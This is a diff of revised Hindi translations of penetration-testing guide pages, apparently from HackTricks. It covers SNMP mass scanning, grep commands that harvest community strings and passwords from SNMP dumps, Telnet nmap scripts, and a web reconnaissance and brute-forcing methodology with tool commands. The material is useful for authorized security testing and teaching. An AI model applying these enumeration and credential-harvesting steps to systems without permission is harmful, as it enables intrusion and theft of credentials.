- **TCP स्थानीय पोर्ट**: अंततः, `1.3.6.1.2.1.6.13.1.3` TCP स्थानीय पोर्ट की निगरानी के लिए निर्धारित किया गया है, जो सक्रिय नेटवर्क कनेक्शनों की जानकारी प्रदान करता है।
- **TCP स्थानीय पोर्ट**: अंत में, `1.3.6.1.2.1.6.13.1.3` TCP स्थानीय पोर्ट की निगरानी के लिए निर्धारित किया गया है, जो सक्रिय नेटवर्क कनेक्शनों की जानकारी प्रदान करता है।
### Cisco
@ -174,9 +173,9 @@ snmp-rce.md
## **मासिव SNMP**
[Braa ](https://github.com/mteg/braa) एक मास SNMP स्कैनर है। इस तरह के उपकरण का इरादा, निश्चित रूप से, SNMP प्रश्न करना है - लेकिन net-snmp से snmpwalk के विपरीत, यह एक ही प्रक्रिया में दर्जनों या सैकड़ों होस्टों को एक साथ प्रश्न करने में सक्षम है। इस प्रकार, यह बहुत कम सिस्टम संसाधनों का उपभोग करता है और स्कैनिंग बहुत तेज़ करता है।
[Braa ](https://github.com/mteg/braa) एक मास SNMP स्कैनर है। इस तरह के उपकरण का इरादा, निश्चित रूप से, SNMP प्रश्न पूछना है - लेकिन net-snmp से snmpwalk के विपरीत, यह एक ही प्रक्रिया में दर्जनों या सैकड़ों होस्टों को एक साथ पूछने में सक्षम है। इस प्रकार, यह बहुत कम सिस्टम संसाधनों का उपभोग करता है और स्कैनिंग बहुत तेज़ करता है।
Braa अपना खुद का SNMP स्टैक लागू करता है, इसलिए इसे net-snmp जैसी किसी भी SNMP लाइब्रेरी की आवश्यकता नहीं होती है।
Braa अपना खुद का SNMP स्टैक लागू करता है, इसलिए इसे net-snmp जैसी किसी भी SNMP लाइब्रेरी की आवश्यकता नहीं है।
**सिंटैक्स:** braa \[Community-string]@\[IP of SNMP server]:\[iso id]
```bash
@ -188,19 +187,19 @@ braa ignite123@192.168.1.125:.1.3.6.*
### **Devices**
यह प्रक्रिया प्रत्येक फ़ाइल से **sysDesc MIB डेटा** (1.3.6.1.2.1.1.1.0) को निकालने के साथ शुरू होती है ताकि उपकरणों की पहचान की जा सके। यह एक **grep कमांड** के उपयोग के माध्यम से पूरा किया जाता है:
यह प्रक्रिया प्रत्येक फ़ाइल से **sysDesc MIB data** (1.3.6.1.2.1.1.1.0) को निकालने के साथ शुरू होती है ताकि उपकरणों की पहचान की जा सके। यह एक **grep command** का उपयोग करके किया जाता है:
```bash
grep ".1.3.6.1.2.1.1.1.0" *.snmp
```
### **निजी स्ट्रिंग की पहचान करें**
एक महत्वपूर्ण कदम **निजी समुदाय स्ट्रिंग** की पहचान करना है जो संगठनों द्वारा उपयोग की जाती है, विशेष रूप से Cisco IOS राउटर्स पर। यह स्ट्रिंग राउटर्स से **चल रही कॉन्फ़िगरेशन** को निकालने की अनुमति देती है। पहचान अक्सर SNMP ट्रैप डेटा में "trap" शब्द का विश्लेषण करने पर निर्भर करती है, जिसमें **grep कमांड** का उपयोग किया जाता है:
एक महत्वपूर्ण कदम में संगठनों द्वारा उपयोग किए जाने वाले **निजी समुदाय स्ट्रिंग** की पहचान करना शामिल है, विशेष रूप से Cisco IOS राउटर पर। यह स्ट्रिंग राउटर से **चल रही कॉन्फ़िगरेशन** को निकालने की अनुमति देती है। पहचान अक्सर "trap" शब्द के लिए SNMP ट्रैप डेटा का विश्लेषण करने पर निर्भर करती है, जिसमें **grep कमांड** का उपयोग किया जाता है:
```bash
grep -i "trap" *.snmp
```
### **यूजरनेम/पासवर्ड**
### **उपयोगकर्ता नाम/पासवर्ड**
MIB तालिकाओं में संग्रहीत लॉग को **असफल लॉगिन प्रयासों** के लिए जांचा जाता है, जिसमें गलती से यूजरनेम के रूप में दर्ज किए गए पासवर्ड शामिल हो सकते हैं। मूल्यवान डेटा खोजने के लिए _fail_, _failed_, या _login_ जैसे कीवर्ड खोजे जाते हैं:
MIB तालिकाओं में संग्रहीत लॉग को **असफल लॉगिन प्रयासों** के लिए जांचा जाता है, जिसमें गलती से उपयोगकर्ता नाम के रूप में दर्ज किए गए पासवर्ड शामिल हो सकते हैं। मूल्यवान डेटा खोजने के लिए _fail_, _failed_, या _login_ जैसे कीवर्ड खोजे जाते हैं:
```bash
grep -i "login\|fail" *.snmp
```
@ -212,7 +211,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
```
## SNMP मानों को संशोधित करना
आप _**NetScanTools**_ का उपयोग करके **मानों को संशोधित** कर सकते हैं। ऐसा करने के लिए आपको **निजी स्ट्रिंग** जाननी होगी।
आप _**NetScanTools**_ का उपयोग करके **मानों को संशोधित** कर सकते हैं। ऐसा करने के लिए आपको **निजी स्ट्रिंग** जानने क आवश्यकता होगी।
## स्पूफिंग

View File

@ -23,7 +23,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
```
The script `telnet-ntlm-info.nse` NTLM जानकारी (Windows संस्करण) प्राप्त करेगा।
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) से: TELNET प्रोटोकॉल में विभिन्न "**विकल्प**" हैं जो स्वीकृत होंगे और उपयोगकर्ता और सर्वर को उनके TELNET कनेक्शन के लिए एक अधिक विस्तृत (या शायद बस अलग) सेट के नियमों का उपयोग करने के लिए सहमत होने की अनुमति देने के लिए "**DO, DON'T, WILL, WON'T**" संरचना के साथ उपयोग किया जा सकता है। ऐसे विकल्पों में वर्ण सेट, इको मोड आदि को बदलना शामिल हो सकता है।
From the [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): TELNET प्रोटोकॉल में विभिन्न "**options**" हैं जो स्वीकृत होंगे और उपयोगकर्ता और सर्वर को उनके TELNET कनेक्शन के लिए एक अधिक विस्तृत (या शायद बस अलग) सेट के नियमों का उपयोग करने के लिए सहमत होने की अनुमति देने के लिए "**DO, DON'T, WILL, WON'T**" संरचना के साथ उपयोग किया जा सकता है। ऐसे विकल्पों में वर्ण सेट, इको मोड आदि को बदलना शामिल हो सकता है।
**मुझे पता है कि इन विकल्पों को गिनना संभव है लेकिन मुझे नहीं पता कैसे, इसलिए मुझे बताएं कि क्या आप जानते हैं।**

View File

@ -25,15 +25,15 @@ web-api-pentesting.md
## Methodology summary
> इस पद्धति में हम मान हैं कि आप एक डोमेन (या उपडोमेन) पर हमला करने जा रहे हैं और केवल उसी पर। इसलिए, आपको इस पद्धति को प्रत्येक खोजे गए डोमेन, उपडोमेन या IP पर लागू करना चाहिए जिसमें अनिश्चित वेब सर्वर हो।
> इस पद्धति में हम मानेंगे कि आप एक डोमेन (या उपडोमेन) पर हमला करने जा रहे हैं और केवल उसी पर। इसलिए, आपको इस पद्धति को प्रत्येक खोजे गए डोमेन, उपडोमेन या IP पर लागू करना चाहिए जिसमें अनिश्चित वेब सर्वर हो।
- [ ] **वेब सर्वर** द्वारा उपयोग की जाने वाली **प्रौद्योगिकियों** की **पहचान** करना शुरू करें। यदि आप तकनीक की सफलतापूर्वक पहचान कर सकते हैं तो परीक्षण के बाकी हिस्से के दौरान ध्यान में रखने के लिए **कौशल** देखें।
- [ ] क्या प्रौद्योगिकी के संस्करण की कोई **ज्ञात भेद्यता** है?
- [ ] क्या कोई **जानी-मानी तकनीक** का उपयोग कर रहे हैं? अधिक जानकारी निकालने के लिए कोई **उपयोगी ट्रिक**?
- [ ] क्या कोई **प्रसिद्ध तकनीक** का उपयोग कर रहे हैं? अधिक जानकारी निकालने के लिए कोई **उपयोगी ट्रिक**?
- [ ] क्या चलाने के लिए कोई **विशेषीकृत स्कैनर** है (जैसे wpscan)?
- [ ] **सामान्य प्रयोजन स्कैनर** लॉन्च करें। आप कभी नहीं जानते कि वे कुछ खोजने जा रहे हैं या कुछ दिलचस्प जानकारी खोजने जा रहे हैं।
- [ ] **प्रारंभिक जांच** से शुरू करें: **रोबोट**, **साइटमैप**, **404** त्रुटि और **SSL/TLS स्कैन** (यदि HTTPS)।
- [ ] वेब पृष्ठ को **स्पाइडरिंग** करना शुरू करें: यह सभी संभावित **फाइलों, फ़ोल्डरों** और **पैरामीटर** को **खोजने** का समय है। साथ ही, **विशेष खोजों** के लिए जांचें।
- [ ] वेब पृष्ठ को **स्पाइडरिंग** करना शुरू करें: यह सभी संभावित **फाइलों, फ़ोल्डरों** और **पैरामीटरों** को **खोजने** का समय है। साथ ही, **विशेष खोजों** के लिए जांचें।
- [ ] _ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया निर्देशिका खोजा जाता है, तो इसे स्पाइडर किया जाना चाहिए।_
- [ ] **डायरेक्टरी ब्रूट-फोर्सिंग**: सभी खोजे गए फ़ोल्डरों को ब्रूट फोर्स करने का प्रयास करें नए **फाइलों** और **निर्देशिकाओं** की खोज करें।
- [ ] _ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया निर्देशिका खोजा जाता है, तो इसे ब्रूट-फोर्स किया जाना चाहिए।_
@ -47,7 +47,7 @@ web-api-pentesting.md
### Identify
जांचें कि क्या चल रहे सर्वर **संस्करण** के लिए कोई **ज्ञात भेद्यताएँ** हैं।\
**HTTP हेडर और प्रतिक्रिया के कुकीज़** प्रौद्योगिकियों और/या उपयोग की जा रही **संस्करण** की **पहचान** करने के लिए बहुत उपयोगी हो सकते हैं। **Nmap स्कैन** सर्वर संस्करण की पहचान कर सकता है, लेकिन यह उपकरण भी उपयोगी हो सकते हैं [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)या [**https://builtwith.com/**](https://builtwith.com)**:**
**HTTP हेडर और प्रतिक्रिया के कुकीज़** **प्रौद्योगिकियों** और/या **संस्करण** की **पहचान** करने के लिए बहुत उपयोगी हो सकते हैं। **Nmap स्कैन** सर्वर संस्करण की पहचान कर सकता है, लेकिन यह उपकरण भी उपयोगी हो सकते हैं [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)या [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
@ -99,7 +99,7 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
_ध्यान में रखें कि **same domain** विभिन्न **ports**, **folders** और **subdomains** में **different technologies** का उपयोग कर सकता है._\
यदि वेब एप्लिकेशन किसी प्रसिद्ध **tech/platform listed before** या **कोई अन्य** का उपयोग कर रहा है, तो **Internet** पर नए **tricks** खोजन न भूलें (और मुझे बताएं!)।
यदि वेब एप्लिकेशन किसी प्रसिद्ध **tech/platform listed before** या **कोई अन्य** का उपयोग कर रहा है, तो **Internet** पर नए **tricks** खोजने के लिए न भूलें (और मुझे बताएं!)।
### Source Code Review
@ -132,7 +132,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### CMS स्कैनर
यदि CMS का उपयोग किया गया है तो **स्कैनर चलाना** न भूलें, शायद कुछ रोचक मिल जाए:
यदि CMS का उपयोग किया गया है तो **स्कैनर चलाना** न भूलें, शायद कुछ रोचक पाया जाए:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** वेबसाइटों के लिए सुरक्षा मुद्दे। (GUI)\
@ -175,12 +175,12 @@ joomlavs.rb #https://github.com/rastating/joomlavs
यदि आप पाते हैं कि **WebDav** **सक्षम** है लेकिन आपके पास **रूट फ़ोल्डर** में **फ़ाइलें अपलोड करने** के लिए पर्याप्त अनुमतियाँ नहीं हैं, तो प्रयास करें:
- **ब्रूट फोर्स** क्रेडेंशियल्स
- वेब पृष्ठ के अंदर **पाई गई अन्य फ़ोल्डरों** में फ़ाइलें **अपलोड करें**। आपको अन्य फ़ोल्डरों में फ़ाइलें अपलोड करने की अनुमति हो सकती है।
- **ब्रूट फोर्स** क्रेडेंशियल्स
- वेब पृष्ठ के अंदर **अन्य फ़ोल्डरों** में फ़ाइलें अपलोड करने के लिए WebDav के माध्यम से **फ़ाइलें अपलोड करें**। आपको अन्य फ़ोल्डरों में फ़ाइलें अपलोड करने की अनुमति हो सकती है।
### **SSL/TLS कमजोरियाँ**
- यदि एप्लिकेशन **HTTPS के उपयोगकर्ता को किसी भी भाग में मजबूर नहीं कर रहा है**, तो यह **MitM के लिए कमजोर** है
- यदि एप्लिकेशन **HTTPS के उपयोगकर्ता को मजबूर नहीं कर रहा है** तो यह **MitM के लिए कमजोर** है
- यदि एप्लिकेशन **HTTP का उपयोग करके संवेदनशील डेटा (पासवर्ड) भेज रहा है**। तो यह एक उच्च कमजोरी है।
**कमजोरियों** के लिए जांचने के लिए [**testssl.sh**](https://github.com/drwetter/testssl.sh) का उपयोग करें (बग बाउंटी कार्यक्रमों में शायद इस प्रकार की कमजोरियों को स्वीकार नहीं किया जाएगा) और कमजोरियों को फिर से जांचने के लिए [**a2sv**](https://github.com/hahwul/a2sv) का उपयोग करें:
@ -205,7 +205,7 @@ SSL/TLS कमजोरियों के बारे में जानक
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML स्पाइडर, JS फ़ाइलों के लिए LinkFider और बाहरी स्रोत के रूप में Archive.org के साथ।
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML स्पाइडर, "जूसि फ़ाइलों" को भी इंगित करता है।
- [**evine** ](https://github.com/saeeddhqan/evine)(go): इंटरैक्टिव CLI HTML स्पाइडर। यह Archive.org में भी खोजता है।
- [**meg**](https://github.com/tomnomnom/meg) (go): यह उपकरण एक स्पाइडर नहीं है लेकिन यह उपयोगी हो सकता है। आप बस एक फ़ाइल निर्दिष्ट कर सकते हैं जिसमें होस्ट और एक फ़ाइल जिसमें पथ हैं और मेग प्रत्येक होस्ट पर प्रत्येक पथ को लाएगा और प्रतिक्रिया को सहेजेगा।
- [**meg**](https://github.com/tomnomnom/meg) (go): यह उपकरण स्पाइडर नहीं है लेकिन यह उपयोगी हो सकता है। आप बस एक फ़ाइल निर्दिष्ट कर सकते हैं जिसमें होस्ट और एक फ़ाइल जिसमें पथ हैं और मेग प्रत्येक होस्ट पर प्रत्येक पथ को लाएगा और प्रतिक्रिया को सहेजेगा।
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS रेंडरिंग क्षमताओं के साथ HTML स्पाइडर। हालाँकि, ऐसा लगता है कि इसे बनाए नहीं रखा गया है, पूर्व-निर्मित संस्करण पुराना है और वर्तमान कोड संकलित नहीं होता है।
- [**gau**](https://github.com/lc/gau) (go): HTML स्पाइडर जो बाहरी प्रदाताओं (wayback, otx, commoncrawl) का उपयोग करता है।
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): यह स्क्रिप्ट URL को खोजेगी जिसमें पैरामीटर होंगे और उन्हें सूचीबद्ध करेगी।
@ -219,19 +219,19 @@ SSL/TLS कमजोरियों के बारे में जानक
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): एक हेडलेस ब्राउज़र में एक पृष्ठ लोड करें और सभी URL को प्रिंट करें जो पृष्ठ को लोड करने के लिए लोड किए गए हैं।
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): सामग्री खोज उपकरण जो पिछले उपकरणों के कई विकल्पों को मिलाता है।
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS फ़ाइलों में पथ और पैरामीटर खोजने के लिए एक Burp एक्सटेंशन।
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): एक उपकरण जो दी गई .js.map URL से आपको ब्यूटीफाइड JS कोड प्राप्त करेगा।
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): एक उपकरण जो .js.map URL दिया गया है, आपको ब्यूटीफाइड JS कोड प्राप्त करेगा।
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): यह एक उपकरण है जिसका उपयोग किसी दिए गए लक्ष्य के लिए एंडपॉइंट्स का पता लगाने के लिए किया जाता है।
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** वेबैक मशीन से लिंक खोजें (जवाबों को वेबैक में डाउनलोड करते हुए और अधिक लिंक की तलाश करते हुए)।
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): क्रॉल करें (यहां तक कि फ़ॉर्म भरकर) और विशिष्ट regexes का उपयोग करके संवेदनशील जानकारी भी खोजें।
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite एक उन्नत मल्टी-फीचर GUI वेब सुरक्षा क्रॉलर/स्पाइडर है जिसे साइबर सुरक्षा पेशेवरों के लिए डिज़ाइन किया गया है।
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): यह एक Go पैकेज और [कमांड-लाइन उपकरण](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) है जो जावास्क्रिप्ट स्रोत कोड से URL, पथ, रहस्य और अन्य दिलचस्प डेटा निकालने के लिए है।
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge एक सरल **Burp Suite एक्सटेंशन** है जो **फज़िंग और एन्यूमरेशन के लिए कस्टम वर्डलिस्ट बनाने के लिए अनुरोध से पैरामीटर और एंडपॉइंट्स को निकालता है।**
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge एक सरल **Burp Suite एक्सटेंशन** है जो **फज़िंग और एन्यूमरेशन के लिए कस्टम वर्डलिस्ट बनाने के लिए अनुरोध से पैरामीटर और एंडपॉइंट्स निकालता है।**
- [**katana**](https://github.com/projectdiscovery/katana) (go): इसके लिए शानदार उपकरण।
- [**Crawley**](https://github.com/s0rg/crawley) (go): यह हर लिंक को प्रिंट करता है जिसे यह खोजने में सक्षम है।
- [**Crawley**](https://github.com/s0rg/crawley) (go): यह प्रिंट करता है हर लिंक जिसे यह खोजने में सक्षम है।
### डाइरेक्टरी और फ़ाइलों पर ब्रूट फोर्स
### ब्रूट फोर्स निर्देशिकाएँ और फ़ाइलें
रूट फ़ोल्डर से **ब्रूट-फोर्सिंग** शुरू करें और सुनिश्चित करें कि **इस विधि** का उपयोग करके **पाई गई सभी** **डायरेक्टरीज़** पर ब्रूट-फोर्स करें और **स्पाइडरिंग** द्वारा **खोजी गई** सभी डायरेक्टरीज़ पर।\
रूट फ़ोल्डर से **ब्रूट-फोर्सिंग** शुरू करें और सुनिश्चित करें कि **इस विधि** का उपयोग करके **पाई गई सभी** **निर्देशिकाओं** को ब्रूट-फोर्स करें और **स्पाइडरिंग** द्वारा **खोजी गई** सभी निर्देशिकाएँ।\
उपकरण:
- **Dirb** / **Dirbuster** - काली में शामिल, **पुराना** (और **धीमा**) लेकिन कार्यात्मक। स्वचालित-हस्ताक्षरित प्रमाणपत्रों और पुनरावृत्त खोज की अनुमति देता है। अन्य विकल्पों की तुलना में बहुत धीमा।
@ -241,7 +241,7 @@ SSL/TLS कमजोरियों के बारे में जानक
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- तेज: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): यह एक स्पाइडर नहीं है बल्कि एक उपकरण है जो पाई गई URL की सूची दी गई है, "डुप्लिकेट" URL को हटाने के लिए।
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): विभिन्न पृष्ठों के बर्प इतिहास से डायरेक्टरीज़ की एक सूची बनाने के लिए बर्प एक्सटेंशन।
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): विभिन्न पृष्ठों के बर्प इतिहास से निर्देशिकाओं की एक सूची बनाने के लिए बर्प एक्सटेंशन।
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): कार्यक्षमता के साथ डुप्लिकेट URL को हटाएं (JS आयात के आधार पर)।
- [**Chamaleon**](https://github.com/iustin24/chameleon): यह उपयोग की गई तकनीकों का पता लगाने के लिए wapalyzer का उपयोग करता है और उपयोग करने के लिए वर्डलिस्ट का चयन करता है।
@ -264,22 +264,22 @@ SSL/TLS कमजोरियों के बारे में जानक
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया डायरेक्टरी खोजा जाता है, तो इसे ब्रूट-फोर्स किया जाना चाहिए।_
_ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नई निर्देशिका खोजी जाती है, तो इसे ब्रूट-फोर्स किया जाना चाहिए।_
### प्रत्येक पाई गई फ़ाइल पर क्या जांचें
### प्रत्येक फ़ाइल में क्या जांचें
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML के अंदर टूटे हुए लिंक खोजें जो अधिग्रहण के लिए प्रवण हो सकते हैं।
- **फ़ाइल बैकअप**: एक बार जब आप सभी फ़ाइलों को खोज लेते हैं, तो सभी निष्पादन योग्य फ़ाइलों के बैकअप की तलाश करें ("_.php_", "_.aspx_"...)। बैकअप का नामकरण करने के लिए सामान्य भिन्नताएँ हैं: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp और file.old._ आप उपकरण [**bfac**](https://github.com/mazen160/bfac) **या** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** का भी उपयोग कर सकते हैं।**
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML में टूटे हुए लिंक खोजें जो अधिग्रहण के लिए प्रवण हो सकते हैं।
- **फ़ाइल बैकअप**: एक बार जब आप सभी फ़ाइलें खोज लेते हैं, तो सभी निष्पादन योग्य फ़ाइलों के बैकअप की तलाश करें ("_.php_", "_.aspx_"...)। बैकअप का नामकरण करने के लिए सामान्य भिन्नताएँ हैं: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp और file.old._ आप [**bfac**](https://github.com/mazen160/bfac) **या** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** का उपयोग भी कर सकते हैं।**
- **नए पैरामीटर खोजें**: आप [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **और** [**Param Miner**](https://github.com/PortSwigger/param-miner) **जैसे उपकरणों का उपयोग करके छिपे हुए पैरामीटर खोज सकते हैं। यदि आप कर सकते हैं, तो आप प्रत्येक निष्पादन योग्य वेब फ़ाइल पर छिपे हुए पैरामीटर खोजने का प्रयास कर सकते हैं।**
- _Arjun सभी डिफ़ॉल्ट वर्डलिस्ट:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **टिप्पणियाँ:** सभी फ़ाइलों की टिप्पणियों की जांच करें, आप **क्रेडेंशियल्स** या **छिपी हुई कार्यक्षमता** पा सकते हैं।
- यदि आप **CTF** खेल रहे हैं, तो एक "सामान्य" चाल है **जानकारी** को **छिपाना** **पृष्ठ** के **दाईं ओर** टिप्पणियों के अंदर (स्रोत कोड को ब्राउज़र के साथ खोलने पर डेटा नहीं देखने के लिए **सैकड़ों** **स्पेस** का उपयोग करके)। दूसरी संभावना यह है कि **कई नई पंक्तियाँ** का उपयोग करें और **वेब पृष्ठ** के **नीचे** एक टिप्पणी में **जानकारी** छिपाए
- यदि आप **CTF** खेल रहे हैं, तो एक "सामान्य" चाल है **जानकारी** को **छिपाना** **पृष्ठ** के **दाईं** ओर टिप्पणियों के अंदर (स्रोत कोड को ब्राउज़र के साथ खोलने पर डेटा नहीं देखने के लिए **सैकड़ों** **स्पेस** का उपयोग करके)। दूसरी संभावना यह है कि **कई नई पंक्तियाँ** का उपयोग करें और **वेब पृष्ठ** के **नीचे** एक टिप्पणी में **जानकारी** छिपाए
- **API कुंजी**: यदि आप **कोई API कुंजी** पाते हैं तो विभिन्न प्लेटफार्मों की API कुंजी का उपयोग करने के लिए एक गाइड है: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API कुंजी: यदि आप कोई API कुंजी पाते हैं जो **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik की तरह दिखती है, तो आप यह जांचने के लिए प्रोजेक्ट [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) का उपयोग कर सकते हैं कि कुंजी किस API तक पहुँच सकती है।
- **S3 बकेट**: स्पाइडरिंग करते समय देखें कि क्या कोई **उपडोमेन** या कोई **लिंक** किसी **S3 बकेट** से संबंधित है। इस मामले में, [**बकेट** के **अनुमतियों** की **जांच करें**](buckets/index.html)।
- **S3 बकेट**: स्पाइडरिंग करते समय देखें कि क्या कोई **उपडोमेन** या कोई **लिंक** किसी **S3 बकेट** से संबंधित है। इस मामले में, [**बकेट के **अनुमतियों** की जांच करें](buckets/index.html)।
### विशेष खोज
@ -291,14 +291,14 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स
- [यदि आप एक _**.git**_ फ़ाइल पाते हैं तो कुछ जानकारी निकाली जा सकती है](git.md)
- यदि आप एक _**.env**_ पाते हैं तो API कुंजी, डेटाबेस पासवर्ड और अन्य जानकारी मिल सकती है।
- यदि आप **API एंडपॉइंट्स** पाते हैं तो आपको [उन्हें भी परीक्षण करना चाहिए](web-api-pentesting.md)। ये फ़ाइलें नहीं हैं, लेकिन शायद "उनकी तरह" दिखेंगी।
- **JS फ़ाइलें**: स्पाइडरिंग अनुभाग में कई उपकरणों का उल्लेख किया गया था जो JS फ़ाइलों से पथ निकाल सकते हैं। इसके अलावा, यह **हर JS फ़ाइल की निगरानी करना** दिलचस्प होगा, क्योंकि कुछ अवसरों पर, एक परिवर्तन यह संकेत दे सकता है कि कोड में एक संभावित कमजोरी पेश की गई है। आप उदाहरण के लिए [**JSMon**](https://github.com/robre/jsmon)** का उपयोग कर सकते हैं।**
- **JS फ़ाइलें**: स्पाइडरिंग अनुभाग में कई उपकरणों का उल्लेख किया गया है जो JS फ़ाइलों से पथ निकाल सकते हैं। इसके अलावा, यह **प्रत्येक JS फ़ाइल** की निगरानी करना दिलचस्प होगा, क्योंकि कुछ अवसरों पर, एक परिवर्तन यह संकेत दे सकता है कि कोड में एक संभावित कमजोरी पेश की गई है। आप उदाहरण के लिए [**JSMon**](https://github.com/robre/jsmon)** का उपयोग कर सकते हैं।**
- आपको [**RetireJS**](https://github.com/retirejs/retire.js/) या [**JSHole**](https://github.com/callforpapers-source/jshole) के साथ खोजी गई JS फ़ाइलों की भी जांच करनी चाहिए कि क्या यह कमजोर है।
- **Javascript Deobfuscator और Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (जावास्क्रिप्ट के साथ वर्ण:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- कई अवसरों पर, आपको उपयोग की गई नियमित अभिव्यक्तियों को **समझने** की आवश्यकता होगी। यह उपयोगी होगा: [https://regex101.com/](https://regex101.com) या [https://pythonium.net/regex](https://pythonium.net/regex)
- आप उन फ़ाइलों की भी **निगरानी कर सकते हैं जहा फ़ॉर्म का पता लगाया गया था**, क्योंकि पैरामीटर में परिवर्तन या नए फ़ॉर्म का प्रकट होना एक संभावित न कमजोर कार्यक्षमता का संकेत दे सकता है।
- आप उन फ़ाइलों की भी निगरानी कर सकते हैं जहा फ़ॉर्म का पता लगाया गया था, क्योंकि पैरामीटर में परिवर्तन या नए फ़ॉर्म का प्रकट होना एक संभावित न कमजोर कार्यक्षमता का संकेत दे सकता है।
**403 निषिद्ध/बुनियादी प्रमाणीकरण/401 अनधिकृत (बायपास)**
@ -308,13 +308,13 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स
**502 प्रॉक्सी त्रुटि**
